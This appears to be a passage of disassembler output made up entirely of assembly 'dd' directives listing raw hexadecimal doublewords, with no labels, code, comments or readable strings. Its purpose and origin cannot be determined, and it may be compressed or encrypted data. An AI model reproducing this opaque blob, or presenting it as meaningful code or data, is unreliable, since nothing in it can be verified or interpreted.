		dd 1DD8B4F1h, 0EBF984A1h, 81971944h, 38406309h,	0A44C010Bh
		dd 1B596587h, 192CCBD3h, 1F247017h, 68950097h, 0C8F0094Ah
		dd 75DC9F39h, 64DB3F9h,	6E187F6Dh, 1F721EE8h, 6476D758h
		dd 7A2BE6Bh, 0A19A5351h, 32FF5C94h, 0F1597050h,	0AC1F78B4h
		dd 10C42987h, 24385036h, 0B9B0C3D0h, 3E10142Dh,	0FC97BE0Fh
		dd 0E00C691Ah, 2C4F74F6h, 3269148Eh, 1FED14D9h,	0D3A8A32Bh
		dd 49D4474Fh, 0ECFB7A0Dh, 7B0EEC06h, 0BFEFE746h, 0F20CC1F6h
		dd 75C91684h, 0DF0CA8F3h, 301E15D5h, 0C742408h,	0F1CA743Ah
		dd 660148E8h, 24F43D40h, 2AD50FDFh, 800D0619h, 0C93465F9h
		dd 5B56450Ah, 770FED92h, 30386748h, 8749FAB7h, 8AA10114h
		dd 0C2B4011h, 0F61688CAh, 0EBC24EAAh, 7293A2C5h, 0FFA46EADh
		dd 0E681DD52h, 0B87E1B74h, 3D0282E7h, 0BF0C0428h, 5D6DD7E5h
		dd 12A2FC22h, 232F1B55h, 41BF5536h, 2580CD4Ch, 8C765C3Dh
		dd 0EC005D69h, 58A1105Dh, 0C4161BD2h, 0DB0354B8h, 51C19F0Fh
		dd 3183142Eh, 0A63C8D2Ch, 623E0103h, 4891157Bh,	998B3806h
		dd 938C2074h, 0F93D0D75h, 565E966Dh, 430A0EEDh,	0D925001h
		dd 0DB633E83h, 3417244h, 0CA50D072h, 0F8B53D39h, 35146D32h
		dd 0C66530F9h, 8940E1E1h, 24147E3Ch, 7FBC570Dh,	65088812h
		dd 0B1A9A144h, 0A0687016h, 0D38E251h, 79039549h, 4ACB93C8h
		dd 4B4FF883h, 0B8444AADh, 7E2690C8h, 0F0454BC6h, 279141CFh
		dd 5E403C1Eh, 5794B04h,	28DB64F7h, 0FB92802Dh, 115E7C64h
		dd 99D80BA1h, 0FEF7245Eh, 8D1437BEh, 90DAFD0Eh,	0A3DD0A2Fh
		dd 0A9EA986Dh, 947E6A8Dh, 0E749701h, 57561004h,	60A19681h
		dd 0ACC121AFh, 2235D11Ch, 0C33B040Eh, 8924775h,	8F031A3Eh
		dd 2B58BCDh, 608030C1h,	0DAEBAA61h, 26149549h, 0CC6ADB0Bh
		dd 12460C88h, 2DC30304h, 0EEC5ED0Bh, 0FD01024Dh, 45C60775h
		dd 17D8D00h, 0E3E04FD7h, 49C99010h, 0C6835B57h,	47A23007h
		dd 0F80312E0h, 41561D92h, 5AC84E16h, 3609F59h, 47770476h
		dd 7DF6850Ah, 0EBAF28h,	0EBDEF715h, 3B08CE06h, 0F6FC7CCBh
		dd 9D2D5314h, 74306ACBh, 5F14E04Eh, 6C9DC58Bh, 927F95A6h
		dd 7A82482h, 0D8A4A328h, 49054197h, 0D49D16Fh, 54F32360h
		dd 534950E9h, 0F18B82EBh, 46B29A56h, 2A97D00Dh,	0F27392Ah
		dd 88C19C0Fh, 53D642Ah,	0F8480440h, 15A3289Fh, 23217C24h
		dd 0A51D7D09h, 7820ACAh, 0ECEF646h, 0FEC520F9h,	0D094E853h
		dd 0A71D2E94h, 56A2784Bh, 40791214h, 0F79E10F6h, 0C6B3C84Bh
		dd 9FCEA405h, 2C05AFBh,	53807912h, 0FD4FE625h, 270C8A61h
		dd 0D152DC53h, 5D7D1311h, 2CE6FE23h, 46107D2Ch,	610D321Ah
		dd 0D862C47h, 0E9137566h, 4D42D19Dh, 0E54FB75Ch, 163918D5h
		dd 0EBEB5BE8h, 0F46D135Bh, 7D52A7E7h, 0D6856126h, 9E1F1A5Ch
		dd 6381F66Fh, 3E95040h,	0C60B41F7h, 0DC49A770h,	803E6DD3h
		dd 20BF577Eh, 13199305h, 0AF743E39h, 65A4D165h,	0A0665B04h
		dd 0C3ED7EDDh, 78576FB2h, 69750587h, 2656FF6Ah,	18314766h
		dd 56EB7FFDh, 50C03EBEh, 63388102h, 0D5E06D73h,	1478B560h
		dd 2688982h, 5F084973h,	0F1D9A00h, 243455B6h, 0FDB05E52h
		dd 0F8564E1Ch, 0C083A50Dh, 20740AD1h, 4C181FEBh, 1BA52406h
		dd 5116B1B1h, 3CF13DADh, 1852312Dh, 3B800C01h, 5F4020E4h
		dd 85E3F808h, 0DD07CF0h, 78413B18h, 9FAAAC04h, 0BB52B4C4h
		dd 27C34780h, 147E11Eh,	0FC9A1604h, 58563F1Bh, 0A4DE75A1h
		dd 4B58BEEAh, 0B7682208h, 111B66C9h, 1BB46CA1h,	4785E1D0h
		dd 8CEC37BEh, 804A3F97h, 56096BC9h, 84F94603h, 0B443877h
		dd 0DB1E2834h, 0D114C88Eh, 451245B6h, 0F0A420C8h, 47995697h
		dd 345745FCh, 6491ABE3h, 8032D3C4h, 0AC77D827h,	378D1EAAh
		dd 0A3633A9Ah, 7BE97C7Fh, 7F77D504h, 0D7BED084h, 0CFE369CFh
		dd 7EF41013h, 3F50A1BCh, 4A86B840h, 10DF178h, 207EF812h
		dd 2790762Ah, 84D93749h, 0F8F3A018h, 30D81A25h,	3909419Fh
		dd 0E17F3E8Ch, 92F7F416h, 0A5E91082h, 0EBC2137Dh, 5496FE24h
		dd 53202A0Dh, 96818A35h, 19564460h, 0AA2CB140h,	6B9155A5h
		dd 93D2C14h, 29802117h,	0CF60ADDh, 1D251F20h, 22467526h
		dd 88421583h, 0EF14B4Ah, 1712471Eh, 0D5C523F8h,	0FC1D8112h
		dd 4C3DBD8Ch, 4A96C870h, 0C435217Ah, 10B6FE18h,	0FBAAC3C4h
		dd 4F730A33h, 9185AAFEh, 0F021243Bh, 4F73F887h,	437C3E51h
		dd 7F7C61E6h, 24A27DDEh, 19D0104Eh, 5A980374h, 757F44Dh
		dd 8798006h, 85397E0Bh,	25F0C083h, 0ED0ABE6Bh, 32FA6F50h
		dd 0C6E710EAh, 0A9EB2714h, 0E87114D5h, 64A19D47h, 8E78804Ah
		dd 9E508D8Ah, 0BFC4156h, 0F1044E84h, 4B4347A1h,	0EB526085h
		dd 2205EBCBh, 870206F6h, 4A07560Fh, 3AF6D197h, 1A82870h
		dd 90ACF0Fh, 1DA4303Bh,	0D5047549h, 75491F51h, 78A82A98h
		dd 650CE487h, 735C4EBBh, 0E475497Eh, 0AF43A877h, 55557409h
		dd 57ADE70h, 0A5CD774Ch, 47F623AEh, 0F0444814h,	680C81A5h
		dd 0F86B0103h, 276694F0h, 0E0C077B0h, 0D4951AEBh, 4BDBA0AFh
		dd 90B0AC9Bh, 55936813h, 3706A434h, 3AB7F034h, 0C6E9A6EBh
		dd 641F21F4h, 75EB0D13h, 0D237BEA2h, 57A7320Bh,	0B9946512h
		dd 206C3690h, 9F1C82C2h, 2A17364h, 0F9A83FFFh, 621BC9D8h
		dd 2C1D919Dh, 2F1F72C3h, 0F7D5703h, 35EA9340h, 36744928h
		dd 73576F31h, 2094A09h,	0A5597568h, 89402805h, 73CA861Dh
		dd 10941E0Ch, 2C1AC449h, 718F412h, 40505728h, 59BC6A4Bh
		dd 0F78B8E1h, 0F5C91CC8h, 6AD49411h, 5EDC7AD2h,	0AE4E9794h
		dd 450B5113h, 20C7130Dh, 6C43E412h, 4472E025h, 39153D51h
		dd 1615420Fh, 2AADFC5Dh, 95666496h, 97C8BF1Eh, 0FA314BC3h
		dd 41D44B4Dh, 9D083C49h, 0BF0A9FF2h, 64B0FA2Dh,	0F286381Bh
		dd 5C8028D6h, 185F9DAAh, 9592C5BFh, 0CF94EF56h,	6C8F4292h
		dd 2DD878EEh, 67824689h, 7FAFA3E4h, 7E14E0CFh, 883F8112h
		dd 832E270Eh, 219F3C7Fh
		dd 97142EBBh, 3914124Ah, 13647EC5h, 22BBD40Ah, 0E2F7C55Dh
		dd 0AD6F6ED1h, 0CDFCAF9Dh, 136D7819h, 0A63B4FBh, 4F881E4Dh
		dd 36522739h, 526565D0h, 412D02FFh, 8858D604h, 0E9240175h
		dd 8B6B144Ch, 45842A7Ah, 17E83960h, 0A7A8107Ch,	0BF3F68Fh
		dd 0EA7744E0h, 9E0BDDC1h, 88D079Bh, 98A53027h, 0A49C3FBFh
		dd 3A1E4512h, 0B2F61E5h, 2B121488h, 8D6D9846h, 4E222238h
		dd 26642C6Ah, 1E1D2631h, 4C5D1452h, 0E4477323h,	0AC955408h
		dd 0C914E0E4h, 8C6C574Fh, 0FC7E8D81h, 85310F04h, 78B33BEh
		dd 29B42342h, 5608BC80h, 34CE97EBh, 85561518h, 582C3A75h
		dd 748D8F8Ch, 3406A97Eh, 579D8EFFh, 0EB156050h,	74C53A66h
		dd 48363C56h, 0B850FAAEh, 0C5A13B0Dh, 0AD1CD504h, 52A8F040h
		dd 46DA4750h, 0A5C2AA18h, 1A1FEB29h, 0B3EB9ED8h, 0A496A6C4h
		dd 0BFA9FA52h, 0F4024C18h, 0C4930E70h, 51F8E010h, 95F932E3h
		dd 1B7413ABh, 89044B88h, 5AA2211h, 1870FF51h, 0AD626950h
		dd 0E381D20h, 950F0C45h, 8D8767D4h, 0C0DE0B75h,	9EAEF1ADh
		dd 451C001h, 0D285C603h, 200D7C2Eh, 1F9E321Bh, 0DC0E0C22h
		dd 0F9C196CAh, 530482F4h, 47C57F51h, 0CA55ED32h, 7D4044B8h
		dd 0C6D5C56Dh, 0FF8D061Dh, 0DDFCC0D0h, 5E295D6Ch, 23E6B5EBh
		dd 0B905750Ah, 2248AC02h, 0FC595D8Ch, 0D60C57C2h, 11F0F023h
		dd 0A8830BFEh, 737674A1h, 0A18A1665h, 7EBD009h,	3ECB1F14h
		dd 1E9739C7h, 3F5368DEh, 2156A4D0h, 0E4547908h,	0D44411A1h
		dd 4284AC43h, 65A3891Dh, 0BA56AFB0h, 0D724FF69h, 0CEA3EF19h
		dd 0E917D712h, 0DEF15BCEh, 9F81C61h, 78384CEBh,	23C2730h
		dd 0F4951F75h, 94D76B81h, 0BBC6958Ch, 600907F9h, 0BD11EB94h
		dd 4C42A37Bh, 307F0B70h, 183B5351h, 0C5D14005h,	0FDE37357h
		dd 0E257CAC8h, 0F2645F88h, 10853C72h, 2131220Fh, 0B6B5056h
		dd 58A17652h, 0EB9D4FEBh, 0E5B34E86h, 3EEC6B52h, 4835EE97h
		dd 239BDBBAh, 0DBC1A709h, 0E8E42F07h, 448D37FDh, 0BEC3B50Ah
		dd 0F25BF26Ah, 4BD596E7h, 1077C591h, 0AE17C57Eh, 35D621Fh
		dd 301A1075h, 0CC3AD730h, 0F5364FFh, 578B5B7Ch,	0C2F76640h
		dd 0EEC20108h, 4804472Bh, 0D2F6203Ch, 854FAAD0h, 4DD9EFD8h
		dd 0F3A68C2h, 0D6EF2933h, 0FAC1DEC2h, 1FE3DD83h, 99514D1h
		dd 4DAD800h, 28743F80h,	4F3BD11Fh, 3A212273h, 3E03750Ah
		dd 0EB42F4C0h, 7D62DFF1h, 1CD412A7h, 75512BD2h,	0A46858EBh
		dd 89BF0E46h, 57010C47h, 0F634C971h, 10D2F883h,	0C0552132h
		dd 3C12BEEh, 9327B4C2h,	3B2FAAC6h, 6AE30632h, 0F48C29DDh
		dd 68C22161h, 1DA73EC0h, 3B4D1427h, 7382E2D4h, 9B38800Bh
		dd 2140F28Bh, 0D9200D47h, 0FC2F4234h, 0C3B832B1h, 0CBA3FBADh
		dd 0B770816h, 45DC4F28h, 725D0544h, 845847C2h, 0A06749FBh
		dd 279A421Eh, 8D2D2958h, 0C2DAB8F8h, 0A153F548h, 0FA42DE6Dh
		dd 830F300Dh, 324E794Ah, 0B5F14AC1h, 9C44BD5Ch,	8957EB89h
		dd 0F5FF3345h, 0F865B852h, 30EBF006h, 0A32202D4h, 7E5F899Dh
		dd 51570A5Eh, 644C53CFh, 910C5BC3h, 0E1C16480h,	20B2A9A6h
		dd 48858333h, 86168966h, 88AEE7h, 912782FBh, 2FFB3A2Bh
		dd 296FA850h, 8A40F817h, 0F9801B09h, 141CAA0Ah,	9628C6F0h
		dd 20FD8851h, 95508D8Ch, 0CA5A2B2Ah, 147C408Ch,	3CF88BCCh
		dd 0AC172B8Fh, 8B0ED0C3h, 0E4C2D657h, 437431F0h, 1F4E68Ah
		dd 0C73B05F2h, 6FFBAC7Ch, 147DB0CAh, 0BA8A7210h, 0F14A07Dh
		dd 379EF85h, 9748C40h, 58056A5Fh, 4C754322h, 0A3177A67h
		dd 0D4D0B4B8h, 0CABBA026h, 0C7EB814Dh, 44F44D8Dh, 42ADF6DCh
		dd 0A20B8865h, 0F844C2D2h, 2D94A7EBh, 497A9C59h, 0DC3DCBE7h
		dd 85406438h, 3815E41Ch, 0CDA8C0BDh, 11ACA2FEh,	89111C6Ch
		dd 0EB6D413Dh, 0F0A04216h, 2CF6B7F5h, 3E28C456h, 517C294Eh
		dd 74783D96h, 467E75ACh, 5B7D00BDh, 0D3206853h,	9A20B863h
		dd 449D053Eh, 0AC0AB264h, 0EB08241Dh, 8C423022h, 1CA94CB8h
		dd 9C010D48h, 7E440122h, 18022009h, 4B7E141Fh, 1A60FE10h
		dd 9CCC2402h, 54451F38h, 67581EA1h, 0A6E21D89h,	49C8C3D3h
		dd 4F59E946h, 2AB8A238h, 206945D3h, 4D4CF432h, 0E842EB7Ah
		dd 1FC54F2Fh, 9D535EFh,	0F0EA50DFh, 95C4E475h, 3BE49A48h
		dd 0B1E3DF4Ah, 1312BD4Bh, 9AA1B04h, 0D7492434h,	625AC2B5h
		dd 0DC84C465h, 132554B2h, 0D05F2932h, 0E6128B6Ah, 89D0DE72h
		dd 0EC586674h, 0A36249EDh, 0F5A25844h, 1BF24D68h, 44C4A648h
		dd 79608B4Bh, 0F7023BD8h, 45F63274h, 4025C10Dh,	0F21C7E99h
		dd 823B12B2h, 0B21E7FD6h, 0AB333CDBh, 0E3AD9D22h, 65C0F04Eh
		dd 0CE79C84Bh, 0B440C676h, 0DC148F36h, 0B4E029D4h, 25B71290h
		dd 0FDB336DBh, 0B474DF0Ch, 0AFE4CB56h, 9C748A68h, 31B4A090h
		dd 0EB080475h, 0A88D5906h, 25BCF52h, 88151E30h,	97C0A471h
		dd 0F6F3B072h, 23C643C9h, 57E94F72h, 8458C75Dh,	4A8D5601h
		dd 6E0D74FFh, 3ED13494h, 0C6E49F1h, 5E1BF331h, 2B6405ECh
		dd 0B2AFC33Fh, 98532DD9h, 0B53826EAh, 2091F774h, 5F59AC5Ah
		dd 1530B0ADh, 5FB8317h,	60A98FA3h, 0C475C208h, 354ACDBBh
		dd 0F6F93422h, 0D0BC7B1h, 0B2C2649Ch, 0AA0C76A5h, 27A45C0Ch
		dd 4C2579FCh, 0C00D2D4Ah, 153066DAh, 0D1030DC4h, 0CA3B1E56h
		dd 348DC37Dh, 0AD62B49h, 2750B534h, 0C6DB40EBh,	0F7754A0Ch
		dd 35488B62h, 0F93D25CCh, 45504AD2h, 8383300Dh,	523D70EBh
		dd 81C81390h, 913D5D41h, 484210Fh, 3C933D4Ah, 37108485h
		dd 82F28D3Dh, 433D2410h, 4186C88Fh, 8923D11h, 8A448C0Ah
		dd 9F89A6FFh, 0D34CEF50h, 0DC0B45DDh, 48FBEB5Eh, 25D751FBh
		dd 0E4A3370Ah, 925F5449h, 15A22109h, 5B9F2440h,	2CB25D4Ah
		dd 89C8ED40h, 88F33139h, 45B8560Dh, 5FEE2474h, 0C01721ECh
		dd 73C67000h, 1E103904h, 8D8DF575h, 0DA085E49h,	0C13B1682h
		dd 0E1741384h, 6ECA3E0Bh, 182024Fh, 86F70DFBh, 9D1F8CB4h
		dd 75224360h, 0FEFC254Fh, 0FE10D672h, 0DC117C22h, 70A22595h
		dd 0EA72E73Fh, 0F846E627h, 443E6602h, 0A07100Dh, 676203Ch
		dd 77D81AFDh, 536AD9FAh, 0E9219204h, 0AB4BC7ADh, 4C5BE050h
		dd 625C43D8h, 9BE34B6h,	3A50780Ch, 1274C307h, 1423D3Ch
		dd 65597447h, 0BEB0AE59h, 0B430F7EBh, 0E66FE5BDh, 88AA4B76h
		dd 0A90F3D3h, 0C1650469h, 29890927h, 805C9D2h, 3842003Dh
		dd 5539741Fh, 8B3A5754h, 451859ECh, 22943F80h, 0A2799F55h
		dd 2F290645h, 9F36E530h, 0EEA88979h, 330047Dh, 0C97570FDh
		dd 85FF535Dh, 0D60DBC5Ah, 760C8210h, 50391E58h,	0EC9F9088h
		dd 0C35B2762h, 3C863AFDh, 0A0BE34BEh, 0DCF2BB59h, 89D1BD4Eh
		dd 42A12A1h, 8B4414A3h,	9384EEFEh, 0AD1C84FFh, 0F153C99Ch
		dd 25280990h, 0D981EA66h, 4AD54A88h, 0D704FAA1h, 23A3A25Ch
		dd 4B503630h, 5656867Bh, 1FF45B36h, 0D0B6DD48h,	0A39D40BDh
		dd 5B0FF864h, 0BCD964ABh, 7C142DD4h, 0E6211A57h, 79545CC2h
		dd 0D6B6C794h, 50FFF592h, 0C4374B53h, 0DF49BFDAh, 449C0038h
		dd 7901508Ah, 0BFFA4840h, 4479292Dh, 56FDDEBAh,	13E0BD2h
		dd 718A0Ah, 1688108Ah, 0CA94046h, 54EB0CD5h, 9D040DCEh
		dd 18E5BF63h, 43EB3A41h, 560512A9h, 40670A1Fh, 83E4DA8Ah
		dd 18349369h, 0CD6715B8h, 5D09B420h, 75721237h,	3840ECCh
		dd 44BCC448h, 0FAFF664Bh, 1618EC0Eh, 0B708F653h, 0A8AB4E0h
		dd 2728052Ch, 181628DDh
		dd 0BD46C811h, 14558B83h, 10D502F3h, 8694D8D1h,	0C25C4665h
		dd 625F407Eh, 2C9311E3h, 84C2846Fh, 18F5B497h, 787C58BAh
		dd 0E48D2228h, 49063CD6h, 5F7003EBh, 7BF9A508h,	0F18D6C0h
		dd 0C0C27E94h, 8BEBD10Ch, 2BF4BD3h, 90430E8Bh, 2806C689h
		dd 0BFB2465Ch, 81824778h, 834AA823h, 0AF88070h,	3F458BA4h
		dd 5E6E3AD5h, 532ED93Fh, 24E34F19h, 1CCA2006h, 418F0FC4h
		dd 42D0336h, 299174EBh,	9B3122E7h, 281F1520h, 309C8DFh
		dd 8F2B2783h, 76AB2B75h, 2E82AD24h, 500BBFA4h, 302D265Ch
		dd 83E1A833h, 8BF692D2h, 0C95350C1h, 4A5DD50Ah,	5A17CBA5h
		dd 2656F644h, 34115928h, 0A022BB5Bh, 441C28EAh,	2ABF5802h
		dd 44CD96B6h, 444A5281h, 504C400Ch, 396688C2h, 40741E58h
		dd 85E340ECh, 0F9751812h, 2BF20720h, 9FF49DC6h,	61F8D142h
		dd 6A4408Fh, 0FF08345Eh, 0FF349380h, 0B36B0D7h,	3274EB3Bh
		dd 2AD6331Ch, 3A230B0Ch, 0FAF2BF55h, 444DB4F7h,	4B18E9BAh
		dd 28DCDEC4h, 8B14CC5Ch, 9FA15609h, 27C30838h, 792553EBh
		dd 86A6104Ch, 7485B243h, 8461873Ch, 6787AAC7h, 83F6F87Dh
		dd 0F72BF605h, 0CE87D6CDh, 1BFF83D4h, 0F55ECF1Ah, 0BEBF605h
		dd 7F56BB82h, 84258453h, 0BB503CF2h, 2832BB4Fh,	1DE87D5Bh
		dd 7A9744ECh, 179297F1h, 9250AC5h, 1B33843Ah, 0A416C564h
		dd 23BEC70Ah, 0EAB42044h, 572AA286h, 801A9340h,	0E0EABFh
		dd 546C6B7h, 24A1510Ah,	0A8CE1E2Ah, 0E2EB151Ch,	0B94FE28Dh
		dd 7C6689F2h, 0BE0C3445h, 1C4A90F2h, 6EA5A7A6h,	300C05B9h
		dd 0B8DD838Dh, 4B8F0882h, 0B82E1C45h, 39287754h, 7D0D6435h
		dd 9B44BF52h, 15D900Eh,	80833815h, 8D078981h, 0C17F5088h
		dd 80221873h, 40084060h, 970F8B80h, 0C1549072h,	0D69AE47Dh
		dd 7C254A84h, 8A2ED0BBh, 0D2FC880Ah, 89467E0Fh,	0BDA35D03h
		dd 205E8A36h, 0A2E4BD3h, 0B75080Ah, 8D2493A6h, 0C7D1437Ah
		dd 4F55CF92h, 0B0CBD43h, 88610889h, 470E487Bh, 0A1C38345h
		dd 0BA7CFE3Bh, 0ED185131h, 0FFD80E3Ch, 758F348Dh, 81DB8544h
		dd 70810401h, 0F6256AB5h, 27ABD058h, 0E09348C3h, 0B324F593h
		dd 8D6AA928h, 57177485h, 550C6772h, 89244F44h, 641D13Eh
		dd 0C26F4E80h, 0DA540F9Ah, 8170A99h, 0F20DF6EFh, 0FB830243h
		dd 0FF9B7C03h, 6E22B99Bh, 1ED6B52Ch, 80AA4445h,	3243567Eh
		dd 7358303Ah, 1D222AE9h, 0FC2F2F08h, 0C95E5D49h, 7740F78Bh
		dd 0AE415D12h, 22AA1482h, 2F2B1088h, 44438CEFh,	87B8073h
		dd 3D3A72B7h, 76248D61h, 0E08F1690h, 563E4527h,	106B0655h
		dd 321854FFh, 0B855E5Dh, 78339981h, 524DA73Ch, 50C533ACh
		dd 3D2A04DAh, 92400D56h, 6A6FCF08h, 8FBE0B52h, 8F571A77h
		dd 0CAC391Fh, 51FA79BFh, 34D91B7Bh, 6BA1EBE8h, 0BD74F1B8h
		dd 0CA58D83Bh, 6A0A5D15h, 5DE540FFh, 72EE1756h,	0F15C550Dh
		dd 8C29BDBCh, 8501C41h,	255CE918h, 0A198A0C2h, 4A65B63Ch
		dd 4F0D169Eh, 3D222A12h, 16FEAE44h, 68218D3Ch, 0A23F7FFCh
		dd 0A8A116B4h, 0FF59A04Bh, 649D56B3h, 0F1A3EB16h, 2F64A427h
		dd 0B8D302BDh, 987472D8h, 0E20B4A65h, 0D5681115h, 0C056F117h
		dd 3B03E6DCh, 411B9651h, 4011C27h, 36FB6D64h, 0D47E3EEh
		dd 0C51EB84Bh, 7619FA81h, 8D10F118h, 5F9D5C85h,	0F695EA3Eh
		dd 8F1848C3h, 0EAF77C14h, 1340608Bh, 0BDE1FF57h, 0C9B80845h
		dd 3CCC59CCh, 1A297629h, 34C55527h, 835C0E20h, 36A1C1Bh
		dd 10689A7Eh, 53BBDD85h, 4CE2BEE5h, 7BF4680Ah, 4511C856h
		dd 79A6EA57h, 85F01E44h, 0B68AA01Fh, 0D7AFD4DCh, 24D91294h
		dd 9BDA209Eh, 90C8DA11h, 61400228h, 5F2CB429h, 39FC2AEBh
		dd 6A31A973h, 36FF2E89h, 0F37DEC5Dh, 0B136F4F9h, 69E3BE7Bh
		dd 9F4BC475h, 0B7B4B2D0h, 90B9F609h, 9D018BF1h,	908DB1E8h
		dd 0C2847FB1h, 0E3A81C73h, 50F5ED4Fh, 0F159EB61h, 582B3E86h
		dd 0F8125F3Bh, 543AFAB3h, 0F330B0FDh, 588120F4h, 0C5C287F9h
		dd 8DF943EBh, 3359CFA6h, 2E3D211Dh, 55442FA3h, 0AF96E989h
		dd 11D66814h, 0FD60388h, 0E7C1E8EBh, 0FEDF13BFh, 9BB93217h
		dd 0B0795689h, 52735784h, 0FFEDAFBCh, 848431E2h, 2ACC9D36h
		dd 4E7E15A9h, 0AF08FB1Eh, 0E4081C10h, 0EB5314B4h, 0A67EB3Ch
		dd 0A0354F5h, 2011EEF6h, 89078B00h, 0C033301Ch,	8A8F5B4Ah
		dd 99B1ECD6h, 55180DEEh, 42281C97h, 5907C93Ch, 4B1328F6h
		dd 262AED37h, 1F51BB32h, 0C82BAC8Ch, 9C8349F4h,	0B04E5008h
		dd 83C1A19Eh, 33EC300Ch, 0F1C88DC0h, 7328F0A3h,	55297AB5h
		dd 0CE1F01Fh, 7CF6ED4Ch, 0B9E0DE44h, 0F90E97F5h, 5C3FC30Ah
		dd 3D103D87h, 79D0617Eh, 5C1FE283h, 7480D13Fh, 0A8505A25h
		dd 0FF1CA29Ch, 12E45345h, 579115B8h, 8620A1A1h,	146A567Fh
		dd 755E123Eh, 28FF207h,	0C63B06EBh, 4E057D7Dh, 6A1A04A3h
		dd 0B270CC04h, 0F095597Eh, 2CA5DEDCh, 562630C1h, 1CA23589h
		dd 8121936h, 66CD1A6Ah,	0A732B435h, 0BF158B12h,	0FA491735h
		dd 3D45A120h, 0BB64D7E8h, 0D2330AEAh, 1C1D78B9h, 65F292C2h
		dd 92A1D977h, 0D297F00Eh, 39EB5DAh, 6271095Eh, 73304220h
		dd 7C55C4D8h, 0B13986D4h, 801287ECh, 0BCA81C3Dh, 0CFC00589h
		dd 0C35B6341h, 0EC4BE8F3h, 5B624ABEh, 0D3D84459h, 58AFB87Ch
		dd 0BAB44E71h, 0A018F2C7h, 0C711EB1Ch, 0D68D041Bh, 13823214h
		dd 9B50F72h, 19297D91h,	0E6F7A409h, 2D07BEB3h, 0F656B300h
		dd 574E80C1h, 895530AFh, 7422E85Dh, 3C67F09h, 0BEB10FFh
		dd 9B76580h, 709066DDh,	0A22EFBB8h, 89FC4ADDh, 15F14028h
		dd 83F80539h, 0FF62A44Bh, 20FA61E7h, 230F5E4Ah,	0EBC32BC6h
		dd 36497D2Dh, 742C3B15h, 0D81D4B89h, 0D166348Ch, 9023F48Eh
		dd 9105222h, 7A3403Ch, 0E4848012h, 0E50CFF16h, 0EA200A26h
		dd 0E9308118h, 39C4060Ah, 0F09989BBh, 0D64594EBh, 0CCAB793h
		dd 9D346E55h, 0BA2E038Fh, 448F070Ah, 0CA230204h, 17C8C6BFh
		dd 0AA357FC8h, 8FCB4F0Eh, 9CF4F2Ah, 0DF67D01Dh,	113C1969h
		dd 254B2D03h, 0D944FD6Eh, 90374889h, 2E8D0413h,	29F3E7BEh
		dd 57054732h, 1106261Ah, 54C6529Dh, 4B32AD0Eh, 4B8DBA97h
		dd 99BAA404h, 0FD122E88h, 851FD0EBh, 137C74C7h,	0D4E40D2Ah
		dd 14E24997h, 0F92A3825h, 40A81438h, 0CE811AB5h, 0F610A741h
		dd 50C449FEh, 0F70B2723h, 55085161h, 0A5B8215h,	0C41287Dh
		dd 2F8AC8A5h, 0B60BA24h, 0DF3BFFCFh, 0EF364B09h, 5FEB1844h
		dd 4124FB3Eh, 5EF7A2FEh, 0EFF46EC3h, 0E9EA08D4h, 0EFB09268h
		dd 71564E12h, 0EE1B7583h, 0AD30D9DFh, 8B7898D6h, 136D91C7h
		dd 45978DEFh, 966099Ch,	0A79197CAh, 62083908h, 5F59B9F8h
		dd 4E390143h, 0CCB0BF3h, 8874B001h, 770B5D45h, 0CBF31FA5h
		dd 2A508848h, 5C78752Dh, 0F6A838F8h, 4F0276F9h,	0FFEA826Eh
		dd 2576455Dh, 75841451h, 0FBE8810Eh, 74F7A492h,	3F67EBEEh
		dd 0B50A136Eh, 34FF4A3Ah, 0CF3AE53h, 0BF167513h, 221A2808h
		dd 413F80CAh, 9379B7BBh, 50EB1292h, 0BEE550B1h,	0D31AD5B2h
		dd 0AA543E12h, 0B681919h, 27676BC2h, 0A06108F4h, 615FFA07h
		dd 346A2058h, 0E74CE866h, 233F7CF4h, 0B4A10918h, 22759FABh
		dd 443E75CBh, 56A4A94Bh, 494F253Bh, 0C2E61434h,	0EBC6A0C2h
		dd 561C841Dh, 53C847ECh, 0CECD1811h, 58F30195h,	254445A3h
		dd 45B0064Ah, 55B951Ch,	0A39321B8h, 3450CA31h, 368B734Ah
		dd 4465C42Bh, 5D273994h
		dd 20326518h, 2D49E38Eh, 0B3208493h, 0CD188832h, 0AE17FF40h
		dd 1CE16374h, 12BA8144h, 0D27AF6C7h, 0DC8509EAh, 45CC51F7h
		dd 0BD8C840Ch, 0A84D781h, 0C5E81BDh, 0E0942904h, 68605652h
		dd 0A7ED563Ah, 25D725AFh, 0EE650861h, 658D04D0h, 0A297BFCCh
		dd 7265562Eh, 965DA0FDh, 222D8AE2h, 4B3E56EAh, 7C9F1B7Ah
		dd 0B8D32FEBh, 6612973Dh, 0EFA83853h, 77181C58h, 888F239h
		dd 8D365864h, 652909FFh, 0C2FF7678h, 504F99DDh,	0E124EA3Eh
		dd 0BED6F4BCh, 7188E961h, 6257923h, 0D5B3744h, 5DA26CA9h
		dd 2AA1E55Dh, 15D981B4h, 7C1CAA3Ah, 76F1CAA5h, 0E172AF6Ch
		dd 18D761B5h, 0C8F9A545h, 851D3914h, 0F13B1393h, 7F234F8h
		dd 62C6664Bh, 0E4014E38h, 45BFE114h, 0D3592D18h, 8AA14D8Ah
		dd 7E85984Ah, 64C0392Ah, 65332F7Ch, 0BF08AEC9h,	0C8AB34C4h
		dd 53B75636h, 22986881h, 9D75302Dh, 38057255h, 2B015E3Dh
		dd 0EB63A193h, 3EFC4584h, 0DC1650D9h, 0F933F8Fh, 0EBBFB4EBh
		dd 1CCCA29h, 40F980C0h,	0A156773h, 0F065020h, 0D324C2A5h
		dd 0D01B64E0h, 1FE1F98Ch, 7AEBE2E9h, 9CD27F10h,	0C20893D5h
		dd 3257566Ah, 0E6437514h, 7708F02Ch, 7526329Eh,	0E1FA2E12h
		dd 4EF22E0Dh, 3B068B81h, 9F2FF46h, 0DB1CAA5Dh, 0CD89400Fh
		dd 746058F6h, 0EFF3411h, 3442B830h, 88BB230Fh, 11A0C3D3h
		dd 93DF1888h, 24048979h, 0AC127DEFh, 0C65D3762h, 0A6E14EFAh
		dd 725627F5h, 95D19DA8h, 7B380204h, 0CFE41AEh, 9D23D0F7h
		dd 1473080Fh, 6F05FD0Bh, 29A80D39h, 843BE97Ch, 0ADF6ABBAh
		dd 17860837h, 0AF5035F7h, 30383E61h, 0A6BC3614h, 5B82554Bh
		dd 6A9E4057h, 12586510h, 0C6F6C404h, 17E70EB3h,	791011B8h
		dd 1122081h, 24D75609h,	12D1A07Ah, 4CBB70Fh, 0FFBED1E6h
		dd 54BF5A4Bh, 0BDD642FAh, 1F13AE51h, 867F37BFh,	8451114h
		dd 75D6DC40h, 3AC7E20Bh, 0C5BA07EBh, 0CC800300h, 5ECF2301h
